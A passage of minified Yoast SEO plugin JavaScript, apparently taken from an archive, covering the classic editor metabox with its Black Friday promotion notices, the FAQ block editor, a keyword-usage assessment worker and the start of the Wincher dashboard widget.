72.3z"})),Sa||(Sa=e.createElement("ellipse",{cx:255.38,cy:103.18,fill:"#fff",rx:1.84,ry:1.77})),Ia||(Ia=e.createElement("ellipse",{cx:221.24,cy:94.75,fill:"#fff",rx:1.84,ry:1.77}))),Pa=(0,Ee.compose)([(0,h.withSelect)(((e,t)=>{const{isAlertDismissed:s}=e(t.store||"yoast-seo/editor");return{isAlertDismissed:s(t.alertKey)}})),(0,h.withDispatch)(((e,t)=>{const{dismissAlert:s}=e(t.store||"yoast-seo/editor");return{onDismissed:()=>s(t.alertKey)}}))]),qa=({children:t,id:s,hasIcon:r=!0,title:n,image:o=null,isAlertDismissed:a,onDismissed:i})=>a?null:(0,e.createElement)("div",{id:s,className:"notice-yoast yoast is-dismissible yoast-webinar-dashboard yoast-general-page-notices"},(0,e.createElement)("div",{className:"notice-yoast__container"},(0,e.createElement)("div",null,(0,e.createElement)("div",{className:"notice-yoast__header"},r&&(0,e.createElement)("span",{className:"yoast-icon"}),(0,e.createElement)("h2",{className:"notice-yoast__header-heading yoast-notice-migrated-header"},n)),(0,e.createElement)("div",{className:"notice-yoast-content"},(0,e.createElement)("p",null,t))),o&&(0,e.createElement)(o,{height:"60"})),(0,e.createElement)("button",{type:"button",className:"notice-dismiss",onClick:i},(0,e.createElement)("span",{className:"screen-reader-text"},/* translators: Hidden accessibility text. */
(0,g.__)("Dismiss this notice.","wordpress-seo"))));qa.propTypes={children:a().node.isRequired,id:a().string.isRequired,hasIcon:a().bool,title:a().any.isRequired,image:a().elementType,isAlertDismissed:a().bool.isRequired,onDismissed:a().func.isRequired};const Aa=Pa(qa),Fa=({store:t="yoast-seo/editor",image:s=null,title:r,promoId:n,alertKey:o,children:a,...i})=>(0,h.select)(t).isPromotionActive(n)&&(0,e.createElement)(Aa,{alertKey:o,store:t,id:o,title:r,image:s,...i},a);Fa.propTypes={store:a().string,image:a().elementType,title:a().any.isRequired,promoId:a().string.isRequired,alertKey:a().string.isRequired,children:a().node};const Na=({store:t="yoast-seo/editor",location:s="sidebar",...n})=>{const o=(0,h.useSelect)((e=>e(t).getIsPremium()),[t]),a=(0,h.useSelect)((e=>e(t).selectLinkParams()),[t]),i="sidebar"===s?(0,g.sprintf)(/* translators: %1$s expands to Yoast SEO Premium */
(0,g.__)("Now with 30%% OFF: %1$s","wordpress-seo"),"Yoast SEO Premium"):(0,r.createInterpolateElement)((0,g.sprintf)(/* translators: %1$s expands to Yoast SEO Premium, %2$s expands to a link on yoast.com, %3$s expands to the anchor end tag. */
(0,g.__)("Now with 30%% OFF: %1$s %2$sBuy now!%3$s","wordpress-seo"),"Yoast SEO Premium","<a>","</a>"),{a:(0,e.createElement)("a",{href:(0,ur.addQueryArgs)("https://yoa.st/black-friday-sale",a),target:"_blank",rel:"noreferrer"})});return o?null:(0,e.createElement)(Fa,{id:`black-friday-2024-promotion-${s}`,promoId:"black-friday-2024-promotion",alertKey:"black-friday-2024-promotion",store:t,title:i,...n},(0,e.createElement)("span",{className:"yoast-bf-sale-badge"},(0,g.__)("BLACK FRIDAY SALE","wordpress-seo")," "),"sidebar"===s&&(0,e.createElement)("a",{className:"yst-block yst--mb-[1em]",href:(0,ur.addQueryArgs)("https://yoa.st/black-friday-sale",a),target:"_blank",rel:"noreferrer"},(0,g.__)("Buy now!","wordpress-seo")))};Na.propTypes={store:a().string,location:a().oneOf(["sidebar","metabox"])};const Ma=t=>s=>!(()=>{var e,t;const s=(0,h.select)("yoast-seo/editor").getIsPremium(),r=(0,h.select)("yoast-seo/editor").getWarningMessage();return(s&&null!==(e=null===(t=(0,h.select)("yoast-seo-premium/editor"))||void 0===t?void 0:t.getMetaboxWarning())&&void 0!==e?e:[]).length>0||r.length>0})()&&(0,e.createElement)(t,{...s}),Oa=Ma((()=>{const t=(0,h.useSelect)((e=>e("yoast-seo/editor").selectLinkParams()),[]),s=(0,g.sprintf)(/* translators: %1$s expands to 'WooCommerce'. */
(0,g.__)("Is your %1$s store ready for Black Friday?","wordpress-seo"),"WooCommerce");return(0,e.createElement)(Fa,{id:"black-friday-2023-product-editor-checklist",alertKey:"black-friday-2023-product-editor-checklist",promoId:"black-friday-2023-checklist",store:"yoast-seo/editor",title:s,image:La},(0,r.createInterpolateElement)((0,g.sprintf)(/* translators: %1$s expands to a 'strong' start tag, %2$s to a 'strong' end tag. */
(0,g.__)("The Yoast %1$sultimate Black Friday checklist%2$s helps you prepare in time, so you can boost your results during this sale.","wordpress-seo"),"<strong>","</strong>"),{strong:(0,e.createElement)("strong",null)})," ",(0,e.createElement)("a",{href:(0,ur.addQueryArgs)("https://yoa.st/black-friday-checklist",t),target:"_blank",rel:"noreferrer"},(0,g.__)("Get the checklist and start optimizing now!","wordpress-seo")))})),Da=Ma(Na);function $a({settings:t}){const s=(0,h.useSelect)((e=>e("yoast-seo/editor").getIsTerm()),[]),o=(0,h.useSelect)((e=>e("yoast-seo/editor").getIsProduct()),[]),a=(0,h.useSelect)((e=>e("yoast-seo/editor").getIsWooCommerceActive()),[]),i=o&&a;return(0,e.createElement)(r.Fragment,null,(0,e.createElement)(n.Fill,{name:"YoastMetabox"},(0,e.createElement)(Dr,{key:"warning",renderPriority:1},(0,e.createElement)(Hs,null)),(0,e.createElement)(Dr,{key:"time-constrained-notification",renderPriority:2},i&&(0,e.createElement)(Oa,null),(0,e.createElement)(Da,{image:null,hasIcon:!1,location:"metabox"})),t.isKeywordAnalysisActive&&(0,e.createElement)(Dr,{key:"keyword-input",renderPriority:8},(0,e.createElement)(Rs.KeywordInput,{isSEMrushIntegrationActive:t.isSEMrushIntegrationActive}),!window.wpseoScriptData.metabox.isPremium&&(0,e.createElement)(n.Fill,{name:"YoastRelatedKeyphrases"},(0,e.createElement)(So,null))),(0,e.createElement)(Dr,{key:"search-appearance",renderPriority:9},(0,e.createElement)(Vs,{id:"yoast-snippet-editor-metabox",title:(0,g.__)("Search appearance","wordpress-seo"),initialIsOpen:!0},(0,e.createElement)(Ks,{hasPaperStyle:!1}))),t.isContentAnalysisActive&&(0,e.createElement)(Dr,{key:"readability-analysis",renderPriority:10},(0,e.createElement)(Rs.ReadabilityAnalysis,{shouldUpsell:t.shouldUpsell})),t.isKeywordAnalysisActive&&(0,e.createElement)(Dr,{key:"seo-analysis",renderPriority:20},(0,e.createElement)(r.Fragment,null,(0,e.createElement)(Rs.SeoAnalysis,{shouldUpsell:t.shouldUpsell,shouldUpsellWordFormRecognition:t.isWordFormRecognitionActive}),t.shouldUpsell&&(0,e.createElement)(qo,{location:"metabox"}))),t.isInclusiveLanguageAnalysisActive&&(0,e.createElement)(Dr,{key:"inclusive-language-analysis",renderPriority:21},(0,e.createElement)(Rs.InclusiveLanguageAnalysis,null)),t.isKeywordAnalysisActive&&(0,e.createElement)(Dr,{key:"additional-keywords-upsell",renderPriority:22},t.shouldUpsell&&(0,e.createElement)(No,null)),t.isKeywordAnalysisActive&&t.isWincherIntegrationActive&&(0,e.createElement)(Dr,{key:"wincher-seo-performance",renderPriority:23},(0,e.createElement)(Ts,{location:"metabox"})),t.shouldUpsell&&!s&&(0,e.createElement)(Dr,{key:"internal-linking-suggestions-upsell",renderPriority:25},(0,e.createElement)(Mr,null)),t.isCornerstoneActive&&(0,e.createElement)(Dr,{key:"cornerstone",renderPriority:30},(0,e.createElement)(Is,null)),t.displayAdvancedTab&&(0,e.createElement)(Dr,{key:"advanced",renderPriority:40},(0,e.createElement)(Vs,{id:"collapsible-advanced-settings",title:(0,g.__)("Advanced","wordpress-seo")},(0,e.createElement)(Yr,null))),t.displaySchemaSettings&&(0,e.createElement)(Dr,{key:"schema",renderPriority:50},(0,e.createElement)(vo,null)),(0,e.createElement)(Dr,{key:"social",renderPriority:-1},(0,e.createElement)(io,{target:"wpseo-section-social"})),t.isInsightsEnabled&&(0,e.createElement)(Dr,{key:"insights",renderPriority:52},(0,e.createElement)(_r,{location:"metabox"}))))}$a.propTypes={settings:a().object.isRequired};const Ba=(0,Ee.compose)([(0,h.withSelect)(((e,t)=>{const{getPreferences:s}=e("yoast-seo/editor");return{settings:s(),store:t.store}}))])($a);function Ua({target:t,store:s,theme:r}){return(0,e.createElement)(ge,{target:t},(0,e.createElement)(be,{store:s,theme:r}),(0,e.createElement)(Ba,{store:s,theme:r}))}Ua.propTypes={target:a().string.isRequired,store:a().object,theme:a().object};const Wa=[];let ja=null;class Ka extends r.Component{constructor(e){super(e),this.state={registeredComponents:[]}}registerComponent(e,t){this.setState({registeredComponents:[...this.state.registeredComponents,{key:e,Component:t}]})}render(){return this.state.registeredComponents.map((({Component:t,key:s})=>(0,e.createElement)(t,{key:s})))}}function Ha(e,t){null===ja||null===ja.current?Wa.push({key:e,Component:t}):ja.current.registerComponent(e,t)}const Ya=window.yoast.externals.redux,za=window.jQuery;var Va=s.n(za);function Ga(e){let t="";var s;return t=!1===function(e){if("undefined"==typeof tinyMCE||void 0===tinyMCE.editors||0===tinyMCE.editors.length)return!1;const t=tinyMCE.get(e);return null!==t&&!t.isHidden()}(e)||0==(s=e,null!==document.getElementById(s+"_ifr"))?function(e){return document.getElementById(e)&&document.getElementById(e).value||""}(e):tinyMCE.get(e).getContent(),t}i.noop,i.noop,i.noop;const{removeMarks:Za}=me.markers,{updateReplacementVariable:Xa,updateData:Qa,hideReplacementVariables:Ja,setContentImage:ei,setEditorDataContent:ti,setEditorDataTitle:si,setEditorDataExcerpt:ri,setEditorDataImageUrl:ni,setEditorDataSlug:oi}=Ya.actions;window.yoast=window.yoast||{},window.yoast.initEditorIntegration=function(t){window.YoastSEO=window.YoastSEO||{},window.YoastSEO._registerReactComponent=Ha,function(t){const s=br();ja=(0,r.createRef)();const o={isRtl:s.isRtl};(0,r.render)((0,e.createElement)(n.SlotFillProvider,null,(0,e.createElement)(d.Root,{context:{locationContext:"classic-metabox"}},(0,e.createElement)(Ua,{target:"wpseo-metabox-root",store:t,theme:o})),(0,e.createElement)(Ka,{ref:ja})),document.getElementById("wpseo-metabox-root")),Wa.forEach((e=>{ja.current.registerComponent(e.key,e.Component)}))}(t)},window.yoast.EditorData=class{constructor(e,t,s="content"){this._refresh=e,this._store=t,this._tinyMceId=s,this._previousData={},this._previousEditorData={},this.updateReplacementData=this.updateReplacementData.bind(this),this.refreshYoastSEO=this.refreshYoastSEO.bind(this)}initialize(e,t=[]){const s=this.getInitialData(e);var r,n;r=s,n=this._store,(0,i.forEach)(r,((e,t)=>{Ds.includes(t)||n.dispatch(Ns(t,e))})),this._store.dispatch(Ja(t)),this._previousEditorData.content=s.content,this._store.dispatch(ti(s.content)),this._previousEditorData.contentImage=s.contentImage,this._store.dispatch(ei(s.contentImage)),this.setImageInSnippetPreview(s.snippetPreviewImageURL||s.contentImage),this._previousEditorData.slug=s.slug,this._store.dispatch(oi(s.slug)),this.updateReplacementData({target:{value:s.title}},"title"),this.updateReplacementData({target:{value:s.excerpt}},"excerpt"),this.updateReplacementData({target:{value:s.excerpt_only}},"excerpt_only"),this.subscribeToElements(),this.subscribeToStore(),this.subscribeToSnippetPreviewImage(),this.subscribeToTinyMceEditor(),this.subscribeToSlug()}subscribeToTinyMceEditor(){const e=e=>{if((0,i.isString)(e)||(e=this.getContent()),this._previousEditorData.content===e)return;if(this._previousEditorData.content=e,this._store.dispatch(ti(e)),this.featuredImageIsSet)return;const t=this.getContentImage(e);this._previousEditorData.contentImage!==t&&(this._previousEditorData.contentImage=t,this._store.dispatch(ei(t)),this.setImageInSnippetPreview(t))};Va()(document).on("tinymce-editor-init",((t,s)=>{s.id===this._tinyMceId&&(e(this.getContent()),["input","change","cut","paste"].forEach((t=>s.on(t,(0,i.debounce)(e,1e3)))))}));const t=document.getElementById("attachment_content");t&&(e(t.value),t.addEventListener("input",(t=>e(t.target.value))))}subscribeToSlug(){const e=e=>{this._previousEditorData.slug!==e&&(this._previousEditorData.slug=e,this._store.dispatch(oi(e)),this._store.dispatch(Qa({slug:e})))},t=document.getElementById("slug");t&&t.addEventListener("input",(t=>e(t.target.value)));const s=document.getElementById("post_name");s&&s.addEventListener("input",(t=>e(t.target.value)));const r=document.getElementById("edit-slug-buttons");r&&new MutationObserver(((t,s)=>t.forEach((t=>{t.addedNodes.forEach((t=>{var r,n;if(null==t||null===(r=t.classList)||void 0===r||!r.contains("edit-slug"))return;const o=null===(n=document.getElementById("editable-post-name-full"))||void 0===n?void 0:n.innerText;o&&(e(o),s.disconnect(),this.subscribeToSlug())}))})))).observe(r,{childList:!0})}subscribeToSnippetPreviewImage(){if((0,i.isUndefined)(wp.media)||(0,i.isUndefined)(wp.media.featuredImage))return;Va()("#postimagediv").on("click","#remove-post-thumbnail",(()=>{this.featuredImageIsSet=!1,this.setImageInSnippetPreview(this.getContentImage(this.getContent()))}));const e=wp.media.featuredImage.frame();var t,s,r;e.on("select",(()=>{const t=e.state().get("selection").first().attributes.url;t&&(this.featuredImageIsSet=!0,this.setImageInSnippetPreview(t))})),t=this._tinyMceId,s=["init"],r=()=>{const e=this.getContentImage(this.getContent()),t=this.getFeaturedImage()||e||"";this._store.dispatch(ei(e)),this.setImageInSnippetPreview(t)},"undefined"!=typeof tinyMCE&&"function"==typeof tinyMCE.on&&tinyMCE.on("addEditor",(function(e){const n=e.editor;n.id===t&&(0,i.forEach)(s,(function(e){n.on(e,r)}))}))}getFeaturedImage(){const e=Va()("#set-post-thumbnail img").attr("src");return e?(this.featuredImageIsSet=!0,e):(this.featuredImageIsSet=!1,null)}setImageInSnippetPreview(e){this._store.dispatch(ni(e)),this._store.dispatch(Qa({snippetPreviewImageURL:e}))}getContentImage(e){if(this.featuredImageIsSet)return"";const t=me.languageProcessing.imageInText(e);if(0===t.length)return"";const s=Va().parseHTML(t.join(""));for(const e of s)if(e.src)return e.src;return""}getTitle(){const e=document.getElementById("title")||document.getElementById("name");return e&&e.value||""}getExcerpt(e=!0){const t=document.getElementById("excerpt"),s=t&&t.value||"",r="ja"===function(){const e=br();return(0,i.get)(e,"contentLocale","en_US")}()?80:156;return""!==s||!1===e?s:function(e,t=156){return(e=(e=(0,As.stripTags)(e)).trim()).length<=t||(e=e.substring(0,t),/\s/.test(e)&&(e=e.substring(0,e.lastIndexOf(" ")))),e}(this.getContent(),r)}getSlug(){let e="";const t=document.getElementById("new-post-slug")||document.getElementById("slug");return t?e=t.value:null!==document.getElementById("editable-post-name-full")&&(e=document.getElementById("editable-post-name-full").textContent),e}getContent(){return Za(Ga(this._tinyMceId))}subscribeToElements(){this.subscribeToInputElement("title","title"),this.subscribeToInputElement("excerpt","excerpt"),this.subscribeToInputElement("excerpt","excerpt_only")}subscribeToInputElement(e,t){const s=document.getElementById(e);s&&s.addEventListener("input",(e=>{this.updateReplacementData(e,t)}))}updateReplacementData(e,t){let s=e.target.value;if("excerpt"===t&&""===s&&(s=this.getExcerpt()),this._previousEditorData[t]!==s){switch(this._previousEditorData[t]=s,t){case"title":this._store.dispatch(si(s));break;case"excerpt":this._store.dispatch(ri(s))}this._store.dispatch(Xa(t,s))}}isShallowEqual(e,t){if(Object.keys(e).length!==Object.keys(t).length)return!1;for(const s in e)if(e.hasOwnProperty(s)&&(!(s in t)||e[s]!==t[s]))return!1;return!0}refreshYoastSEO(){const e=this.getData();!this.isShallowEqual(this._previousData,e)&&(this.handleEditorChange(e),this._previousData=e,window.YoastSEO&&window.YoastSEO.app&&window.YoastSEO.app.refresh())}handleEditorChange(e){this._previousData.excerpt!==e.excerpt&&(this._store.dispatch(Xa("excerpt",e.excerpt)),this._store.dispatch(Xa("excerpt_only",e.excerpt_only))),this._previousData.snippetPreviewImageURL!==e.snippetPreviewImageURL&&this.setImageInSnippetPreview(e.snippetPreviewImageURL),this._previousData.slug!==e.slug&&this._store.dispatch(oi(e.slug)),this._previousData.title!==e.title&&this._store.dispatch(si(e.title))}subscribeToStore(){this.subscriber=(0,i.debounce)(this.refreshYoastSEO,500),this._store.subscribe(this.subscriber)}getInitialData(e){e=function(e,t){if(!e.custom_taxonomies)return e;const s={};return(0,i.forEach)(e.custom_taxonomies,((e,t)=>{const{name:r,label:n,descriptionName:o,descriptionLabel:a}=function(e){const t=$s(e);return{name:"ct_"+t,label:Ms(e+" (custom taxonomy)"),descriptionName:"ct_desc_"+t,descriptionLabel:Ms(e+" description (custom taxonomy)")}}(t),i="string"==typeof e.name?(0,Re.decodeHTML)(e.name):e.name,l="string"==typeof e.description?(0,Re.decodeHTML)(e.description):e.description;s[r]={value:i,label:n},s[o]={value:l,label:a}})),t.dispatch(function(e){return{type:"SNIPPET_EDITOR_UPDATE_REPLACEMENT_VARIABLES_BATCH",updatedVariables:e}}(s)),(0,i.omit)({...e},"custom_taxonomies")}(e=function(e,t){return e.custom_fields?((0,i.forEach)(e.custom_fields,((e,s)=>{const{name:r,label:n}=function(e){return{name:"cf_"+$s(e),label:Ms(e+" (custom field)")}}(s);t.dispatch(Ns(r,e,n))})),(0,i.omit)({...e},"custom_fields")):e}(e,this._store),this._store);const t=this.getContent(),s=this.getFeaturedImage();return{...e,title:this.getTitle(),excerpt:this.getExcerpt(),excerpt_only:this.getExcerpt(!1),slug:this.getSlug(),content:t,snippetPreviewImageURL:s,contentImage:this.getContentImage(t)}}getData(){return{...this._store.getState().snippetEditor.data,title:this.getTitle(),content:this.getContent(),excerpt:this.getExcerpt(),excerpt_only:this.getExcerpt(!1)}}}})()})();wordpress-seo/js/dist/faq-block.js000064400000023646147510273070013155 0ustar00(()=>{"use strict";var e={n:t=>{var s=t&&t.__esModule?()=>t.default:()=>t;return e.d(s,{a:s}),s},d:(t,s)=>{for(var n in s)e.o(s,n)&&!e.o(t,n)&&Object.defineProperty(t,n,{enumerable:!0,get:s[n]})},o:(e,t)=>Object.prototype.hasOwnProperty.call(e,t)};const t=window.React,s=window.wp.blockEditor,n=window.wp.blocks,o=JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"version":"22.7","name":"yoast/faq-block","title":"Yoast FAQ","description":"List your Frequently Asked Questions in an SEO-friendly way.","category":"yoast-structured-data-blocks","icon":"editor-ul","keywords":["FAQ","Frequently Asked Questions","Schema","SEO","Structured Data"],"textdomain":"wordpress-seo","attributes":{"questions":{"type":"array"},"additionalListCssClasses":{"type":"string"}},"example":{"attributes":{"steps":[{"id":"faq-question-1","question":[],"answer":[]},{"id":"faq-question-2","question":[],"answer":[]}]}},"editorScript":"yoast-seo-faq-block","editorStyle":"yoast-seo-structured-data-blocks"}'),i=window.yoast.propTypes;var r=e.n(i);const a=window.wp.i18n,u=window.wp.a11y,c=window.wp.isShallowEqual,l=window.wp.element,h=window.wp.components,d=function(e){return class extends l.Component{render(){return(0,t.createElement)(l.Fragment,null,(0,t.createElement)(e,{...this.props})," ")}}},p=d(s.RichText.Content);class m extends l.Component{constructor(e){super(e),this.onSelectImage=this.onSelectImage.bind(this),this.onFocusAnswer=this.onFocusAnswer.bind(this),this.onFocusQuestion=this.onFocusQuestion.bind(this),this.onChangeAnswer=this.onChangeAnswer.bind(this),this.onChangeQuestion=this.onChangeQuestion.bind(this),this.onInsertQuestion=this.onInsertQuestion.bind(this),this.onRemoveQuestion=this.onRemoveQuestion.bind(this),this.onMoveDown=this.onMoveDown.bind(this),this.onMoveUp=this.onMoveUp.bind(this)}getMediaUploadButton(e){return(0,t.createElement)(h.Button,{className:"schema-faq-section-button faq-section-add-media",icon:"insert",onClick:e.open},(0,a.__)("Add image","wordpress-seo"))}onFocusQuestion(){this.props.onFocus("question",this.props.index)}onFocusAnswer(){this.props.onFocus("answer",this.props.index)}onChangeQuestion(e){const{index:t,onChange:s,attributes:{answer:n,question:o}}=this.props;s(e,n,o,n,t)}onChangeAnswer(e){const{index:t,onChange:s,attributes:{answer:n,question:o}}=this.props;s(o,e,o,n,t)}onInsertQuestion(){this.props.insertQuestion(this.props.index)}onRemoveQuestion(){this.props.removeQuestion(this.props.index)}onMoveUp(){this.props.isFirst||this.props.onMoveUp(this.props.index)}onMoveDown(){this.props.isLast||this.props.onMoveDown(this.props.index)}getButtons(){const{attributes:e}=this.props;return(0,t.createElement)("div",{className:"schema-faq-section-button-container"},(0,t.createElement)(s.MediaUpload,{onSelect:this.onSelectImage,allowedTypes:["image"],value:e.id,render:this.getMediaUploadButton}),(0,t.createElement)(h.Button,{className:"schema-faq-section-button",icon:"trash",label:(0,a.__)("Delete question","wordpress-seo"),onClick:this.onRemoveQuestion}),(0,t.createElement)(h.Button,{className:"schema-faq-section-button",icon:"insert",label:(0,a.__)("Insert question","wordpress-seo"),onClick:this.onInsertQuestion}))}getMover(){return(0,t.createElement)("div",{className:"schema-faq-section-mover"},(0,t.createElement)(h.Button,{className:"editor-block-mover__control",onClick:this.onMoveUp,icon:"arrow-up-alt2",label:(0,a.__)("Move question up","wordpress-seo"),"aria-disabled":this.props.isFirst}),(0,t.createElement)(h.Button,{className:"editor-block-mover__control",onClick:this.onMoveDown,icon:"arrow-down-alt2",label:(0,a.__)("Move question down","wordpress-seo"),"aria-disabled":this.props.isLast}))}onSelectImage(e){const{attributes:{answer:s,question:n},index:o}=this.props;let i=s.slice();const r=(0,t.createElement)("img",{className:`wp-image-${e.id}`,alt:e.alt,src:e.url,style:"max-width:100%;"});i.push?i.push(r):i=[i,r],this.props.onChange(n,i,n,s,o)}static getImageSrc(e){if(!e||!e.filter)return!1;const t=e.filter((e=>e&&e.type&&"img"===e.type))[0];return!!t&&t.props.src}static Content(e){return(0,t.createElement)("div",{className:"schema-faq-section",id:e.id,key:e.id},(0,t.createElement)(p,{tagName:"strong",className:"schema-faq-question",key:e.id+"-question",value:e.question}),(0,t.createElement)(p,{tagName:"p",className:"schema-faq-answer",key:e.id+"-answer",value:e.answer}))}shouldComponentUpdate(e){return!(0,c.isShallowEqualObjects)(e,this.props)}render(){const{attributes:e,isSelected:n}=this.props,{id:o,question:i,answer:r}=e;return(0,t.createElement)("div",{className:"schema-faq-section",key:o},(0,t.createElement)(s.RichText,{identifier:o+"-question",className:"schema-faq-question",tagName:"p",key:o+"-question",value:i,onChange:this.onChangeQuestion,onFocus:this.onFocusQuestion,unstableOnFocus:this.onFocusQuestion,placeholder:(0,a.__)("Enter a question","wordpress-seo"),allowedFormats:["core/italic","core/strikethrough","core/link","core/annotation"]}),(0,t.createElement)(s.RichText,{identifier:o+"-answer",className:"schema-faq-answer",tagName:"p",key:o+"-answer",value:r,onChange:this.onChangeAnswer,onFocus:this.onFocusAnswer,unstableOnFocus:this.onFocusAnswer,placeholder:(0,a.__)("Enter the answer to the question","wordpress-seo")}),n&&(0,t.createElement)("div",{className:"schema-faq-section-controls-container"},this.getMover(),this.getButtons()))}}m.propTypes={index:r().number.isRequired,attributes:r().object.isRequired,onChange:r().func.isRequired,insertQuestion:r().func.isRequired,removeQuestion:r().func.isRequired,onFocus:r().func.isRequired,onMoveUp:r().func.isRequired,onMoveDown:r().func.isRequired,isSelected:r().bool.isRequired,isFirst:r().bool.isRequired,isLast:r().bool.isRequired};const q=d(m.Content);class w extends l.Component{constructor(e){super(e),this.state={focus:""},this.changeQuestion=this.changeQuestion.bind(this),this.insertQuestion=this.insertQuestion.bind(this),this.removeQuestion=this.removeQuestion.bind(this),this.swapQuestions=this.swapQuestions.bind(this),this.moveQuestionDown=this.moveQuestionDown.bind(this),this.moveQuestionUp=this.moveQuestionUp.bind(this),this.setFocus=this.setFocus.bind(this),this.onAddQuestionButtonClick=this.onAddQuestionButtonClick.bind(this)}static generateId(e){return`${e}-${(new Date).getTime()}`}onAddQuestionButtonClick(){this.insertQuestion(null,[],[],!1)}changeQuestion(e,t,s,n,o){const i=this.props.attributes.questions?this.props.attributes.questions.slice():[];if(o>=i.length)return;if(i[o].question!==s||i[o].answer!==n)return;i[o]={id:i[o].id,question:e,answer:t,jsonQuestion:(0,l.renderToString)(e),jsonAnswer:(0,l.renderToString)(t)};const r=m.getImageSrc(t);r&&(i[o].jsonImageSrc=r),this.props.setAttributes({questions:i})}insertQuestion(e=null,t=[],s=[],n=!0){const o=this.props.attributes.questions?this.props.attributes.questions.slice():[];null===e&&(e=o.length-1),o.splice(e+1,0,{id:w.generateId("faq-question"),question:t,answer:s,jsonQuestion:"",jsonAnswer:""}),this.props.setAttributes({questions:o}),n?setTimeout(this.setFocus.bind(this,"question",e)):(0,u.speak)((0,a.__)("New question added","wordpress-seo"))}swapQuestions(e,t){const s=this.props.attributes.questions?this.props.attributes.questions.slice():[],n=s[e];s[e]=s[t],s[t]=n,this.props.setAttributes({questions:s});const[o,i]=this.state.focus.split(":");o===`${e}`?this.setFocus(i,t):o===`${t}`&&this.setFocus(i,e)}moveQuestionUp(e){this.swapQuestions(e,e-1)}moveQuestionDown(e){this.swapQuestions(e,e+1)}removeQuestion(e){const t=this.props.attributes.questions?this.props.attributes.questions.slice():[];t.splice(e,1),this.props.setAttributes({questions:t});let s=0;t[e]?s=e:t[e-1]&&(s=e-1),this.setFocus("question",s)}setFocus(e,t){const s=`${t}:${e}`;s!==this.state.focus&&this.setState({focus:s})}getAddQuestionButton(){return(0,t.createElement)(h.Button,{icon:"insert",onClick:this.onAddQuestionButtonClick,className:"schema-faq-add-question"},(0,a.__)("Add question","wordpress-seo"))}getQuestions(){const{attributes:e}=this.props;if(!e.questions)return null;const[s]=this.state.focus.split(":");return e.questions.map(((n,o)=>(0,t.createElement)(m,{index:o,key:n.id,attributes:n,insertQuestion:this.insertQuestion,removeQuestion:this.removeQuestion,onChange:this.changeQuestion,onFocus:this.setFocus,isSelected:s===`${o}`,onMoveUp:this.moveQuestionUp,onMoveDown:this.moveQuestionDown,isFirst:0===o,isLast:o===e.questions.length-1})))}static Content(e){const{questions:s,className:n}=e,o=s?s.map(((e,s)=>(0,t.createElement)(q,{key:s,...e}))):null,i=["schema-faq",n].filter((e=>e)).join(" ");return(0,t.createElement)("div",{className:i},o)}render(){const{className:e}=this.props,s=["schema-faq",e].filter((e=>e)).join(" ");return(0,t.createElement)("div",{className:s},(0,t.createElement)("div",null,this.getQuestions()),(0,t.createElement)("div",{className:"schema-faq-buttons"},this.getAddQuestionButton()))}}function b(e){const n=d(s.RichText.Content);return(0,t.createElement)("div",{className:"schema-faq-section",key:e.id},(0,t.createElement)(n,{tagName:"strong",className:"schema-faq-question",key:e.id+"-question",value:e.question}),(0,t.createElement)(n,{tagName:"p",className:"schema-faq-answer",key:e.id+"-answer",value:e.answer}))}function g(e){const{questions:s,className:n}=e.attributes,o=d(b),i=s?s.map(((e,s)=>(0,t.createElement)(o,{key:s,...e}))):null,r=["schema-faq",n].filter((e=>e)).join(" ");return(0,t.createElement)("div",{className:r},i)}w.propTypes={attributes:r().object.isRequired,setAttributes:r().func.isRequired,className:r().string},w.defaultProps={className:""},g.propTypes={attributes:r().object.isRequired};const v={v13_1:g};(0,n.registerBlockType)(o,{edit:({attributes:e,setAttributes:n,className:o})=>{const i=(0,s.useBlockProps)();return e.questions&&0!==e.questions.length||(e.questions=[{id:w.generateId("faq-question"),question:[],answer:[]}]),(0,t.createElement)("div",{...i},(0,t.createElement)(w,{attributes:e,setAttributes:n,className:o}))},save:({attributes:e})=>{const n=s.useBlockProps.save(e);return(0,t.createElement)(w.Content,{...n})},deprecated:[{attributes:o.attributes,save:v.v13_1}]})})();wordpress-seo/js/dist/used-keywords-assessment.js000064400000001416147510273070016275 0ustar00(()=>{"use strict";const s=window.yoast.analysis.bundledPlugins.usedKeywords;(new class{constructor(){this._initialized=!1}register(){analysisWorker.registerMessageHandler("updateKeywordUsage",this.updateKeywordUsage.bind(this),"used-keywords-assessment"),analysisWorker.registerMessageHandler("initialize",this.initialize.bind(this),"used-keywords-assessment")}initialize(e){this._plugin=new s(analysisWorker,e),this._plugin.registerPlugin(),this._initialized=!0}updateKeywordUsage(s){if(!this._initialized)throw new Error("UsedKeywordsAssessment must be initialized before keyphrases can be updated.");const e=s.usedKeywords,i=s.usedKeywordsPostTypes;this._plugin.updateKeywordUsage(e,i),analysisWorker.refreshAssessment("usedKeywords","previouslyUsedKeywords")}}).register()})();wordpress-seo/js/dist/wincher-dashboard-widget.js000064400000071374147510273070016164 0ustar00(()=>{"use strict";var e={6746:(e,t,n)=>{var r="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},o=i(n(9196)),s=i(n(9156)),a=i(n(6743));function i(e){return e&&e.__esModule?e:{default:e}}var l=void 0;function c(e,t){var n,a,i,u,p,d,h,m,y=[],f={};for(d=0;d<e.length;d++)if("string"!==(p=e[d]).type){if(!t.hasOwnProperty(p.value)||void 0===t[p.value])throw new Error("Invalid interpolation, missing component node: `"+p.value+"`");if("object"!==r(t[p.value]))throw new Error("Invalid interpolation, component node must be a ReactElement or null: `"+p.value+"`","\n> "+l);if("componentClose"===p.type)throw new Error("Missing opening component token: `"+p.value+"`");if("componentOpen"===p.type){n=t[p.value],i=d;break}y.push(t[p.value])}else y.push(p.value);return n&&(u=function(e,t){var n,r,o=t[e],s=0;for(r=e+1;r<t.length;r++)if((n=t[r]).value===o.value){if("componentOpen"===n.type){s++;continue}if("componentClose"===n.type){if(0===s)return r;s--}}throw new Error("Missing closing component token `"+o.value+"`")}(i,e),h=c(e.slice(i+1,u),t),a=o.default.cloneElement(n,{},h),y.push(a),u<e.length-1&&(m=c(e.slice(u+1),t),y=y.concat(m))),1===y.length?y[0]:(y.forEach((function(e,t){e&&(f["interpolation-child-"+t]=e)})),(0,s.default)(f))}t.Z=function(e){var t=e.mixedString,n=e.components,o=e.throwErrors;if(l=t,!n)return t;if("object"!==(void 0===n?"undefined":r(n))){if(o)throw new Error("Interpolation Error: unable to process `"+t+"` because components is not an object");return t}var s=(0,a.default)(t);try{return 